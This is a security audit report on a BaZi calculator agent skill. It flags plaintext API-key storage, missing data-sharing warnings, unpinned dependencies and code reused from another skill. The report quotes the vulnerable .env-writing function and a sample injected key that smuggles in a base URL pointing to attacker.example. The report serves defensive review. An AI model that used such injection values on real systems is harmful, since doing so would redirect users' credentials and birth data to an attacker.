Back to skill

Security audit

八字计算器

Security checks for vulnerabilities and agentic risk

Overview

The skill appears to be an API-backed BaZi calculator, but it persistently stores an API key in a local .env file and sends personal birth details to an external service with insufficient safeguards and disclosure.

Install only if you are comfortable giving this skill a XiaoBenYang API key and sending birth date/time, gender, and BaZi data to the provider. Use a dedicated low-privilege API key, inspect or clear the generated .env file, avoid pasting keys from untrusted sources, and consider waiting for a version that validates keys, pins dependencies, restricts the API host, and fixes the packaging inconsistencies.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/config.py:45
Finding

Unsanitized API Key Enables Persistent .env Configuration Injection

Content
View full analysis

Vulnerability Details

File Location: scripts/config.py:45-67
Vulnerability Type: Plaintext secret storage and dotenv injection
Risk Level: Medium

The API key is interpolated directly into a .env file without rejecting embedded newline or control characters. The file is also written without explicitly enforcing restrictive permissions.

python
def save_api_key_to_env(api_key: str) -> bool:
    """将API key保存到.env文件"""
    try:
        env_path = Path(".env")
        lines = []
        if env_path.exists():
            lines = env_path.read_text(encoding="utf-8").splitlines()
        found = False
        new_lines = []
        for line in lines:
            if line.startswith("XBY_APIKEY="):
                new_lines.append(f"XBY_APIKEY={api_key}")
                found = True
            else:
                new_lines.append(line)
        if not found:
            new_lines.append(f"XBY_APIKEY={api_key}")
        env_path.write_text("\n".join(new_lines) + "\n", encoding="utf-8")
        os.environ["XBY_APIKEY"] = api_key
        return True
    except Exception as e:
        print(f"保存API key失败: {e}")
        return False

Technical Analysis

set_api_key() strips only leading and trailing whitespace before passing the value to save_api_key_to_env(). It does not reject embedded carriage returns, newline characters, NUL characters, or other invalid dotenv syntax.

Consequently, a value such as:

text
supplied-key
XBY_GAOKAO_BASE_URL=http://attacker.example

is persisted as two separate dotenv assignments. Because Settings loads .env with the XBY_GAOKAO_ prefix, an injected XBY_GAOKAO_BASE_URL assignment can alter the upstream API destination when a later process initializes the settings object. The client does not independently restrict the configured base URL to the expected HTTPS origin.

In addition, Path.write_text() relies on existin ...[truncated 1582 chars]

Remediation
View remediation

Remediation Suggestions

  1. Reject API keys containing \r, \n, NUL, or other control characters before persistence.
  2. Validate the key against the vendor's documented length and character format using an allowlist.
  3. Use a dotenv-aware serializer instead of manually constructing configuration lines.
  4. Store credentials in an operating-system credential manager or dedicated secret store instead of a plaintext project file.
  5. If .env storage is unavoidable, create it atomically with owner-only mode 0600 and correct overly broad permissions on existing files.
  6. Restrict base_url to the expected https://mcp.xiaobenyang.com origin, or enforce an explicit allowlist of trusted HTTPS hosts.
  7. Write updates through a securely created temporary file followed by an atomic replacement to prevent partial or unsafe configuration updates.
  8. Add tests covering multiline keys, carriage returns, NUL characters, duplicate assignments, restrictive file permissions, and attempted endpoint overrides.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (28)

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The skill instructs reading and persisting API keys in .env and modifying process environment variables, while the project naming and references suggest a different upstream service. This inconsistency raises supply-chain and transparency concerns because users cannot reliably tell what service is being configured or where their credential will be used.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The skill instructs reading and persisting API keys in .env and modifying process environment variables, while the project naming and references suggest a different upstream service. This inconsistency raises supply-chain and transparency concerns because users cannot reliably tell what service is being configured or where their credential will be used.

Content

No source excerpt is available for this finding.

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/config.py (reported line 13)May include surrounding context.

python
model_config = SettingsConfigDict(
        env_prefix="XBY_GAOKAO_",
        env_file=".env",
        env_file_encoding="utf-8",
        extra="ignore",
    )

Credential Access

High
Category
Privilege Escalation
Confidence
91% confidence
Finding

The post-init logic forcibly reads a specific API key from .env outside the normal settings abstraction, creating custom credential-harvesting behavior and bypassing clearer, auditable configuration patterns. In the context of a BaZi calculator, this is unusually invasive and increases the risk of silently loading sensitive credentials the user did not intend this skill to consume.

Content

Scanner excerpt · scripts/config.py (reported line 31)May include surrounding context.

python
default_year: int = 2025

    def model_post_init(self, __context):
        # 强制从 .env 文件读取 XBY_APIKEY
        env_path = Path(".env")
        if env_path.exists():
            content = env_path.read_text(encoding="utf-8")

Credential Access

High
Category
Privilege Escalation
Confidence
90% confidence
Finding

Opening and reading the .env file directly enables the skill to inspect locally stored secrets in plaintext, expanding its access to sensitive material beyond what is needed for a simple calculator. Such direct secret-file access is particularly concerning when paired with unrelated skill functionality and mismatched project metadata.

Content

Scanner excerpt · scripts/config.py (reported line 32)May include surrounding context.

python
def model_post_init(self, __context):
        # 强制从 .env 文件读取 XBY_APIKEY
        env_path = Path(".env")
        if env_path.exists():
            content = env_path.read_text(encoding="utf-8")
            for line in content.splitlines():

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/config.py (reported line 39)May include surrounding context.

python
if line.startswith("XBY_APIKEY="):
                    self.api_key = line.split("=", 1)[1].strip()
                    break
        # 如果环境变量有值,覆盖 .env 的值
        env_val = os.getenv("XBY_APIKEY", "")
        if env_val:
            self.api_key = env_val

Description-Behavior Mismatch

High
Category
Not specified by scanner
Confidence
95% confidence
Finding

This code adds persistent API credential management to a skill whose stated purpose is a BaZi calculator, creating an unnecessary secret-handling capability outside the apparent functional scope. Scope mismatch is dangerous because it expands the attack surface, normalizes secret collection/storage, and can enable unauthorized reuse or leakage of credentials from the local environment.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

High
Category
Not specified by scanner
Confidence
97% confidence
Finding

The function writes API secrets directly into a local .env file, which is a plaintext credential store that may be exposed through backups, source control mistakes, logs, or multi-user system access. For a horoscope-style calculator, this capability is especially suspicious because it is not obviously required and increases the risk of credential theft without clear justification.

Content

No source excerpt is available for this finding.

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

This function is explicitly designed to persist API credentials into a plaintext .env file, creating durable local secret exposure. In a skill whose declared purpose is horoscope calculation, this capability is unjustified and materially raises the risk of credential compromise through local disclosure or repository leakage.

Content

Scanner excerpt · scripts/config.py (reported line 48)May include surrounding context.

python
def save_api_key_to_env(api_key: str) -> bool:
    """将API key保存到.env文件"""
    try:
        env_path = Path(".env")
        lines = []
        if env_path.exists():
            lines = env_path.read_text(encoding="utf-8").splitlines()

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
94% confidence
Finding

The skill documents network access, environment-variable handling, and API key persistence, but does not declare any tool scope such as allowed-tools or permissions. That mismatch weakens least-privilege controls and makes it harder for users or the hosting platform to understand and constrain what the skill can do.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The skill asks for highly sensitive personal data such as birth date/time and gender, then routes it to an external API, but provides no user-facing warning that this data leaves the local environment. In this context, the omission is more dangerous because fortune/astrology queries inherently involve sensitive personal attributes that users may not realize are being transmitted remotely.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The instructions require collecting and saving a user-provided API key, but do not warn the user that the credential will be persisted, potentially to .env or another local configuration store. Storing secrets without explicit disclosure or consent can lead to accidental reuse, exposure through logs/files, or unauthorized access by other local processes.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The project structure and tool-call example reference gaokao/school-search functionality rather than BaZi calculation, indicating the skill may have been repurposed or copied without proper review. That inconsistency increases the risk of invoking unintended functionality or misrouting sensitive user data to unrelated services.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
99% confidence
Finding

The docstring and config comments reference a different skill context ('高考' rather than BaZi), indicating code reuse or repackaging inconsistent with the declared functionality. This discrepancy undermines trust, suggests weak change control, and increases the chance that hidden or unnecessary features—such as credential handling for another service—were carried over into this skill.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

Persisting an API key to .env without a user-facing warning or explicit confirmation can cause users to unknowingly store sensitive credentials on disk. This increases the likelihood of accidental disclosure, especially in development environments where .env files are commonly copied, backed up, or committed.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

This code sends user-supplied inputs to an external API via call_api, including personal attributes such as gender and birth date/time. Although the docstring describes parameters, it does not disclose that the data is transmitted over the network, and there is no confirmation prompt, logging, or other user-facing warning in this file.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Low
Category
Not specified by scanner
Confidence
88% confidence
Finding

文档一方面写明“代码只负责调用API”,另一方面又明确要求调用 scripts.config.set_api_key(api_key) 将密钥保存到配置中。保存凭据属于配置写入行为,不是单纯的 API 调用,因此该说明对代码职责的描述与后文要求不一致。

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
95% confidence
Finding

The dependency specification uses a lower-bound version range instead of an exact pinned version, which makes builds non-reproducible and can pull in unexpected upstream releases. This increases supply-chain risk and makes it difficult to determine whether known vulnerabilities in requests are present in deployed environments.

Content

Scanner excerpt · requirements.txt (reported line 1)May include surrounding context.

text
requests>=2.31.0
pydantic>=2.7.0
pydantic-settings>=2.2.0
python-dotenv>=1.0.1

Unverifiable Dependency: requests has 16 known advisory(ies) (CVE-2014-1830 (Exposure of Sensitive Information to an Unauthorized Actor in Requests); CVE-2024-47081 (Requests vulnerable to .netrc credentials leak via malicious URLs); CVE-2024-35195 (Requests `Session` object does not verify requests after making first request wi) +13 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
90% confidence
Finding

Requests has multiple known advisories, and because the manifest does not pin an exact version, it is impossible to verify from this file whether a safe or affected release will be installed. This creates uncertainty around exposure to issues such as credential leakage or other known flaws in dependency resolution outcomes.

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
95% confidence
Finding

Using pydantic>=2.7.0 allows any newer release to be installed, which weakens reproducibility and may introduce vulnerable or breaking versions without review. In security-sensitive environments, unpinned dependencies are a supply-chain hygiene issue even if no active exploit is shown in this file.

Content

Scanner excerpt · requirements.txt (reported line 2)May include surrounding context.

text
requests>=2.31.0
pydantic>=2.7.0
pydantic-settings>=2.2.0
python-dotenv>=1.0.1

Unverifiable Dependency: pydantic has 4 known advisory(ies) (CVE-2021-29510 (Use of "infinity" as an input to datetime and date fields causes infinite loop i); CVE-2024-3772 (Pydantic regular expression denial of service); CVE-2021-29510 (Pydantic is a data validation and settings management using Python type hinting.) +1 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
88% confidence
Finding

Pydantic has published advisories, but the open-ended version constraint prevents verification of whether installations will avoid affected releases. This is dangerous because vulnerable versions may be selected in some environments, especially when builds are not fully locked.

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
94% confidence
Finding

The pydantic-settings dependency is not pinned to a specific version, so installation may resolve to different releases over time. That uncertainty can expose the project to newly introduced defects or vulnerable versions and complicates incident response.

Content

Scanner excerpt · requirements.txt (reported line 3)May include surrounding context.

text
requests>=2.31.0
pydantic>=2.7.0
pydantic-settings>=2.2.0
python-dotenv>=1.0.1

Unverifiable Dependency: pydantic-settings has 1 known advisory(ies) (CVE-2026-58203 (pydantic-settings: NestedSecretsSettingsSource follows symlinks outside secrets_)), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
87% confidence
Finding

The manifest does not allow verification that pydantic-settings resolves to a version unaffected by known advisories. Given the package's role in settings and secret handling, version ambiguity can become more sensitive if the skill reads local configuration or secrets.

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
94% confidence
Finding

python-dotenv is specified with a minimum version only, which permits unreviewed future versions to be installed. This is a low-severity supply-chain weakness because it reduces determinism and may silently introduce vulnerable behavior.

Content

Scanner excerpt · requirements.txt (reported line 4)May include surrounding context.

text
requests>=2.31.0
pydantic>=2.7.0
pydantic-settings>=2.2.0
python-dotenv>=1.0.1

Unverifiable Dependency: python-dotenv has 2 known advisory(ies) (CVE-2026-28684 (python-dotenv: Symlink following in set_key allows arbitrary file overwrite via ); CVE-2026-28684 (python-dotenv reads key-value pairs from a .env file and can set them as environ)), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
87% confidence
Finding

python-dotenv has known advisories, and the lack of version pinning means the installed package could be vulnerable depending on resolver behavior. Because dotenv libraries often interact with local environment files, affected versions could matter more if the application writes or loads .env files from untrusted locations.

Content

No source excerpt is available for this finding.